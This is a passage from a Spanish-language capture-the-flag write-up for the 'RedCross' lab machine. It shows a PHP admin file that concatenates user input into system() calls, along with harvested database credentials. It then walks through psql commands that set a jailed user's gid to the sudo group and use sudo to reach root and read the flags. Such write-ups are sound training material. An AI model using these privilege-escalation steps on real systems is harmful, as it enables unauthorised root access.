</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">setcookie</span>($cname,$cvalue,$ctime,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>		$cname<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;LIMIT&#34;</span>;
</span></span><span style="display:flex;"><span>		$cvalue<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;10&#34;</span>;
</span></span><span style="display:flex;"><span>		$ctime<span style="color:#f92672">=</span><span style="color:#a6e22e">time</span>()<span style="color:#f92672">+</span>(<span style="color:#ae81ff">86400</span><span style="color:#f92672">*</span><span style="color:#ae81ff">90</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">setcookie</span>($cname,$cvalue,$ctime,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>		$cname<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;DOMAIN&#34;</span>;
</span></span><span style="display:flex;"><span>		$cvalue<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;admin&#34;</span>;
</span></span><span style="display:flex;"><span>		$ctime<span style="color:#f92672">=</span><span style="color:#a6e22e">time</span>()<span style="color:#f92672">+</span>(<span style="color:#ae81ff">86400</span><span style="color:#f92672">*</span><span style="color:#ae81ff">90</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">setcookie</span>($cname,$cvalue,$ctime,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">password_verify</span>($pass,$hash)){
</span></span><span style="display:flex;"><span>		$text<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Not enough privileges!&#34;</span>;
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> { $text<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Wrong data!&#34;</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:3;url=https://www.xbyte.mx/&#39;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> $text;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">exit</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;end session&#39;</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;LANG&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#ae81ff">1</span>,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;SINCE&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#ae81ff">1</span>,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;LIMIT&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#ae81ff">1</span>,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;DOMAIN&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#ae81ff">1</span>,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;PHPSESSID&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#ae81ff">1</span>,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">session_destroy</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:1;url=https://www.xbyte.mx/&#39;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Cleaning up session data...&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">exit</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;Allow IP&#39;</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:1;url=https://www.xbyte.mx/?page=firewall&#39;</span>);
</span></span><span style="display:flex;"><span>	$ip<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;ip&#39;</span>];
</span></span><span style="display:flex;"><span>	$valid <span style="color:#f92672">=</span> <span style="color:#a6e22e">ip2long</span>($ip) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>$valid){
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;ERR: Invalid IP Address format&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">exit</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	$dbconn <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_connect</span>(<span style="color:#e6db74">&#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&amp;&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_prepare</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#e6db74">&#34;SELECT * FROM ipgrants WHERE address = $1&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_execute</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#66d9ef">array</span>($ip));
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">pg_num_rows</span>($result)<span style="color:#f92672">===</span><span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>		$res <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_prepare</span>($dbconn, <span style="color:#e6db74">&#34;q2&#34;</span>, <span style="color:#e6db74">&#34;INSERT INTO ipgrants ( uid, address ) VALUES ( $1, $2)&#34;</span>);
</span></span><span style="display:flex;"><span>		$res <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_execute</span>($dbconn, <span style="color:#e6db74">&#34;q2&#34;</span>, <span style="color:#66d9ef">array</span>($_SESSION[<span style="color:#e6db74">&#39;userid&#39;</span>], $ip));
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;/opt/iptctl/iptctl allow &#34;</span><span style="color:#f92672">.</span>$ip);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;deny&#39;</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:1;url=https://www.xbyte.mx/?page=firewall&#39;</span>);
</span></span><span style="display:flex;"><span>	$id<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;id&#39;</span>];
</span></span><span style="display:flex;"><span>	$ip<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;ip&#39;</span>];
</span></span><span style="display:flex;"><span>	$dbconn <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_connect</span>(<span style="color:#e6db74">&#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&amp;&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_prepare</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#e6db74">&#34;DELETE FROM ipgrants WHERE id = $1&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_execute</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#66d9ef">array</span>($id));
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;/opt/iptctl/iptctl restrict &#34;</span><span style="color:#f92672">.</span>$ip);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;adduser&#39;</span>){
</span></span><span style="display:flex;"><span>	$username<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;username&#39;</span>];
</span></span><span style="display:flex;"><span>	$passw<span style="color:#f92672">=</span><span style="color:#a6e22e">generateRandomString</span>();
</span></span><span style="display:flex;"><span>	$phash<span style="color:#f92672">=</span><span style="color:#a6e22e">crypt</span>($passw);
</span></span><span style="display:flex;"><span>	$dbconn <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_connect</span>(<span style="color:#e6db74">&#34;host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&amp;&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_prepare</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#e6db74">&#34;insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, &#39;/var/jail/home&#39;)&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_execute</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#66d9ef">array</span>($username, $phash));
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Provide this credentials to the user:&lt;br&gt;&lt;br&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;&lt;b&gt;</span><span style="color:#e6db74">$username</span><span style="color:#e6db74"> : </span><span style="color:#e6db74">$passw</span><span style="color:#e6db74">&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;a href=https://www.xbyte.mx/?page=users&gt;Continue&lt;/a&gt;&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;del&#39;</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:1;url=https://www.xbyte.mx/?page=users&#39;</span>);
</span></span><span style="display:flex;"><span>	$uid<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;uid&#39;</span>];
</span></span><span style="display:flex;"><span>	$dbconn <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_connect</span>(<span style="color:#e6db74">&#34;host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&amp;&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_prepare</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#e6db74">&#34;delete from passwd_table where uid = $1&#34;</span>);
</span></span><span style="display:flex;"><span>	$result <span style="color:#f92672">=</span> <span style="color:#a6e22e">pg_execute</span>($dbconn, <span style="color:#e6db74">&#34;q1&#34;</span>, <span style="color:#66d9ef">array</span>($uid));
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;User account deleted&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Resumiendo con grep:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ cat * | grep pg_connect
</span></span><span style="display:flex;"><span>cat * | grep pg_connect
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&amp;&#34;);
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&amp;&#34;);
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&amp;&#34;);
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&amp;&#34;);
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&amp;&#34;);
</span></span><span style="display:flex;"><span>	$dbconn = pg_connect(&#34;host=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw&#34;);
</span></span></code></pre></div><p>Convirtiendo a tabla:</p>
<table>
  <thead>
      <tr>
          <th>#</th>
          <th>Host</th>
          <th>dbname</th>
          <th>user</th>
          <th>password</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>127.0.0.1</td>
          <td>redcross</td>
          <td>www</td>
          <td>aXwrtUO9_aa&amp;</td>
      </tr>
      <tr>
          <td>2</td>
          <td>127.0.0.1</td>
          <td>unix</td>
          <td>unixusrmgr</td>
          <td>dheu%7wjx8B&amp;</td>
      </tr>
      <tr>
          <td>3</td>
          <td>127.0.0.1</td>
          <td>unix</td>
          <td>unixnss</td>
          <td>fios@ew023xnw</td>
      </tr>
  </tbody>
</table>
<h1 id="psql">PSQL</h1>
<p>Validemos que tenemos dentro de esta base de datos, comenzando por la db con el nombre de la maquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ psql -h 127.0.0.1 -d redcross -U www -W
</span></span><span style="display:flex;"><span>&lt;dmin/pages$ psql -h 127.0.0.1 -d redcross -U www -W
</span></span><span style="display:flex;"><span>Password for user www: aXwrtUO9_aa&amp;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>\l
</span></span><span style="display:flex;"><span>                                  List of databases
</span></span><span style="display:flex;"><span>   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
</span></span><span style="display:flex;"><span>-----------+----------+----------+-------------+-------------+-----------------------
</span></span><span style="display:flex;"><span> postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
</span></span><span style="display:flex;"><span> redcross  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres         +
</span></span><span style="display:flex;"><span>           |          |          |             |             | postgres=CTc/postgres+
</span></span><span style="display:flex;"><span>           |          |          |             |             | www=CTc/postgres
</span></span><span style="display:flex;"><span> template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
</span></span><span style="display:flex;"><span>           |          |          |             |             | postgres=CTc/postgres
</span></span><span style="display:flex;"><span> template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
</span></span><span style="display:flex;"><span>           |          |          |             |             | postgres=CTc/postgres
</span></span><span style="display:flex;"><span> unix      | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
</span></span><span style="display:flex;"><span>(5 rows)
</span></span></code></pre></div><p>Parece que desde aquí no podremos hacer mucho con www. Cambiemos de db y owner:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>\c unix unixusrmgr
</span></span><span style="display:flex;"><span>Password for user unixusrmgr: dheu%7wjx8B&amp;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>You are now connected to database &#34;unix&#34; as user &#34;unixusrmgr&#34;.
</span></span><span style="display:flex;"><span>\dt
</span></span><span style="display:flex;"><span>            List of relations
</span></span><span style="display:flex;"><span> Schema |     Name     | Type  |  Owner
</span></span><span style="display:flex;"><span>--------+--------------+-------+----------
</span></span><span style="display:flex;"><span> public | group_table  | table | postgres
</span></span><span style="display:flex;"><span> public | passwd_table | table | postgres
</span></span><span style="display:flex;"><span> public | shadow_table | table | postgres
</span></span><span style="display:flex;"><span> public | usergroups   | table | postgres
</span></span><span style="display:flex;"><span>(4 rows)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>\dp
</span></span><span style="display:flex;"><span>                                           Access privileges
</span></span><span style="display:flex;"><span> Schema |     Name     |   Type   |      Access privileges       |    Column privileges     | Policies
</span></span><span style="display:flex;"><span>--------+--------------+----------+------------------------------+--------------------------+----------
</span></span><span style="display:flex;"><span> public | group_id     | sequence |                              |                          |
</span></span><span style="display:flex;"><span> public | group_table  | table    | postgres=arwdDxt/postgres   +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixnss=r/postgres           |                          |
</span></span><span style="display:flex;"><span> public | passwd_table | table    | postgres=arwdDxt/postgres   +| username:               +|
</span></span><span style="display:flex;"><span>        |              |          | unixnss=r/postgres          +|   unixusrmgr=aw/postgres+|
</span></span><span style="display:flex;"><span>        |              |          | unixusrmgr=rd/postgres      +| passwd:                 +|
</span></span><span style="display:flex;"><span>        |              |          | unixnssroot=arwdDxt/postgres |   unixusrmgr=aw/postgres+|
</span></span><span style="display:flex;"><span>        |              |          |                              | gid:                    +|
</span></span><span style="display:flex;"><span>        |              |          |                              |   unixusrmgr=aw/postgres+|
</span></span><span style="display:flex;"><span>        |              |          |                              | homedir:                +|
</span></span><span style="display:flex;"><span>        |              |          |                              |   unixusrmgr=aw/postgres |
</span></span><span style="display:flex;"><span> public | shadow_table | table    | postgres=arwdDxt/postgres   +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixpam=ar/postgres         +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixnssroot=r/postgres       |                          |
</span></span><span style="display:flex;"><span> public | user_id      | sequence | postgres=rwU/postgres       +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixusrmgr=U/postgres       +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixnssroot=rwU/postgres     |                          |
</span></span><span style="display:flex;"><span> public | usergroups   | table    | postgres=arwdDxt/postgres   +|                          |
</span></span><span style="display:flex;"><span>        |              |          | unixnss=r/postgres           |                          |
</span></span><span style="display:flex;"><span>(6 rows)
</span></span></code></pre></div><p>Parece que en la tabla passwd_table con las columnas gid, username, passwd y homedir son las únicas que podemos editar.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>\d passwd_table
</span></span><span style="display:flex;"><span>                             Table &#34;public.passwd_table&#34;
</span></span><span style="display:flex;"><span>  Column  |          Type          |                    Modifiers
</span></span><span style="display:flex;"><span>----------+------------------------+-------------------------------------------------
</span></span><span style="display:flex;"><span> username | character varying(64)  | not null
</span></span><span style="display:flex;"><span> passwd   | character varying(128) | not null default &#39;x&#39;::character varying
</span></span><span style="display:flex;"><span> uid      | integer                | not null default nextval(&#39;user_id&#39;::regclass)
</span></span><span style="display:flex;"><span> gid      | integer                | not null
</span></span><span style="display:flex;"><span> gecos    | character varying(128) |
</span></span><span style="display:flex;"><span> homedir  | character varying(256) | not null
</span></span><span style="display:flex;"><span> shell    | character varying      | not null default &#39;/bin/bash&#39;::character varying
</span></span><span style="display:flex;"><span>Indexes:
</span></span><span style="display:flex;"><span>    &#34;passwd_table_pkey&#34; PRIMARY KEY, btree (uid)
</span></span><span style="display:flex;"><span>    &#34;passwd_table_username_key&#34; UNIQUE CONSTRAINT, btree (username)
</span></span><span style="display:flex;"><span>Referenced by:
</span></span><span style="display:flex;"><span>    TABLE &#34;shadow_table&#34; CONSTRAINT &#34;st_username_fkey&#34; FOREIGN KEY (username) REFERENCES passwd_table(username) ON DELETE CASCADE
</span></span><span style="display:flex;"><span>    TABLE &#34;usergroups&#34; CONSTRAINT &#34;ug_uid_fkey&#34; FOREIGN KEY (uid) REFERENCES passwd_table(uid) ON DELETE CASCADE
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>select * from passwd_table;
</span></span><span style="display:flex;"><span> username |               passwd               | uid  | gid  | gecos |    homedir     |   shell
</span></span><span style="display:flex;"><span>----------+------------------------------------+------+------+-------+----------------+-----------
</span></span><span style="display:flex;"><span> tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span> miau     | $1$aINCdBU3$DI6tECMqjpMZ.D5c/DkpM/ | 2020 | 1001 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span>(2 rows)
</span></span></code></pre></div><h1 id="privesc">privesc</h1>
<p>Aparece nuestro usuario <code>miau</code>, que como recordamos pertenece a un ambiente enjaulado. Dicho ambiente enjaulado nos entregaba una shell limitada, un home donde no teníamos permisos de acercarnos al root (<em>/</em>), pero ahora que tenemos acceso a donde se encuentra estas propiedades, confiemos en que el script que se encarga de modificar la &lsquo;jaula&rsquo; responda ante los cambios en la base de datos.</p>
<p>En el ambiente enjaulado agrega a todos los usuarios nuevos al grupo limitado con <em>GID</em> 1001, el cual nos impidió realizar algunas tareas, pero ahora que tenemos acceso a la DB, podemos cambiar esa propiedad. Cambiemos esta propiedad a 0:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>update passwd_table set gid=0 where username=&#39;miau&#39;;
</span></span><span style="display:flex;"><span>select * from passwd_table;
</span></span><span style="display:flex;"><span> username |               passwd               | uid  | gid  | gecos |    homedir     |   shell
</span></span><span style="display:flex;"><span>----------+------------------------------------+------+------+-------+----------------+-----------
</span></span><span style="display:flex;"><span> tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span> miau     | $1$aINCdBU3$DI6tECMqjpMZ.D5c/DkpM/ | 2020 |    0 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span>(2 rows)
</span></span></code></pre></div><p>Ahora hagamos un upgrade de nuestra shell y accedamos como miau:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ python -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>&lt;s$ python -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ su - miau
</span></span><span style="display:flex;"><span>su - miau
</span></span><span style="display:flex;"><span>Password: CCutRKf7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>miau@redcross:~$
</span></span></code></pre></div><p>Pero ser del grupo root no nos hace root.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>miau@redcross:~$ cat /root/root.txt /home/penelope/user.txt
</span></span><span style="display:flex;"><span>cat /root/root.txt /home/penelope/user.txt
</span></span><span style="display:flex;"><span>cat: /root/root.txt: Permission denied
</span></span><span style="display:flex;"><span>cat: /home/penelope/user.txt: Permission denied
</span></span><span style="display:flex;"><span>miau@redcross:~$ ls -lah /root
</span></span><span style="display:flex;"><span>ls -lah /root
</span></span><span style="display:flex;"><span>total 64K
</span></span><span style="display:flex;"><span>drwxr-x---  6 root root 4.0K Oct 31 12:33 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 22 root root 4.0K Jun  3  2018 ..
</span></span><span style="display:flex;"><span>-rw-------  1 root root    0 Oct 31 12:33 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 3.4K Jun 10  2018 .bashrc
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root root 4.0K Jun  6  2018 bin
</span></span><span style="display:flex;"><span>drwxrwxr-x 11 root root 4.0K Jun  7  2018 Haraka-2.8.8
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root root 4.0K Jun  7  2018 .npm
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  148 Aug 17  2015 .profile
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root   24 Jun 10  2018 .psqlrc
</span></span><span style="display:flex;"><span>-rw-------  1 root root 1.0K Jun  3  2018 .rnd
</span></span><span style="display:flex;"><span>-rw-------  1 root root   33 Jun  8  2018 root.txt
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root   74 Jun  6  2018 .selected_editor
</span></span><span style="display:flex;"><span>drwx------  4 root root 4.0K Jun  3  2018 .thumbnails
</span></span><span style="display:flex;"><span>-rw-------  1 root root  13K Oct 31 12:30 .viminfo
</span></span></code></pre></div><p>Recordemos que como solo podemos editar el grupo, aunque lo cambiemos a root, no podremos leer todos los archivos donde los permisos solo sean de usuario.</p>
<p>Pero si hay una manera en la que un usuario puede adquirir todos los poderes de otro, esto es mediante SUDO. Ahora que somos del grupo chido, veamos que hay en sudoers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>miau@redcross:~$ cat /etc/sudoers | grep -E &#39;ALL$&#39;
</span></span><span style="display:flex;"><span>cat /etc/sudoers | grep -E &#39;ALL$&#39;
</span></span><span style="display:flex;"><span>root	ALL=(ALL:ALL) ALL
</span></span><span style="display:flex;"><span>%sudo   ALL=(ALL:ALL) ALL
</span></span></code></pre></div><p>Esto significa que cualquier que pertenezca al grupo sudo, <a href="https://www.hostinger.com/tutorials/sudo-and-the-sudoers-file/">podrá</a> subir a root. Ahora solo falta verificar cual es el grupo de sudo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>miau@redcross:~$ cat /etc/group | grep sudo
</span></span><span style="display:flex;"><span>cat /etc/group | grep sudo
</span></span><span style="display:flex;"><span>sudo:x:27:
</span></span></code></pre></div><p>Ahora si, cambiemos el grupo en la shell conectada a postgre:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>update passwd_table set gid=27 where username=&#39;miau&#39;;
</span></span><span style="display:flex;"><span>select * from passwd_table;
</span></span><span style="display:flex;"><span> username |               passwd               | uid  | gid  | gecos |    homedir     |   shell
</span></span><span style="display:flex;"><span>----------+------------------------------------+------+------+-------+----------------+-----------
</span></span><span style="display:flex;"><span> tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span> miau     | $1$aINCdBU3$DI6tECMqjpMZ.D5c/DkpM/ | 2020 |   27 |       | /var/jail/home | /bin/bash
</span></span><span style="display:flex;"><span>(2 rows)
</span></span></code></pre></div><p>Ahora que nuestro usuario <code>miau</code> pertenece al grupo sudo, elevemos a nuestro usuario:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>miau@redcross:~$ sudo -s
</span></span><span style="display:flex;"><span>sudo -s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>We trust you have received the usual lecture from the local System
</span></span><span style="display:flex;"><span>Administrator. It usually boils down to these three things:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    #1) Respect the privacy of others.
</span></span><span style="display:flex;"><span>    #2) Think before you type.
</span></span><span style="display:flex;"><span>    #3) With great power comes great responsibility.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[sudo] password for miau: CCutRKf7
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@redcross:/var/jail/home#
</span></span></code></pre></div><h1 id="cat-usertxt-roottxt">cat user.txt root.txt</h1>
<p>Finalmente, como root desde miau, podemos tomar las flags:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@redcross:/var/jail/home# cat /root/root.txt /home/penelope/user.txt
</span></span></code></pre></div><p>&hellip; We got root and user flag.</p>
<hr>
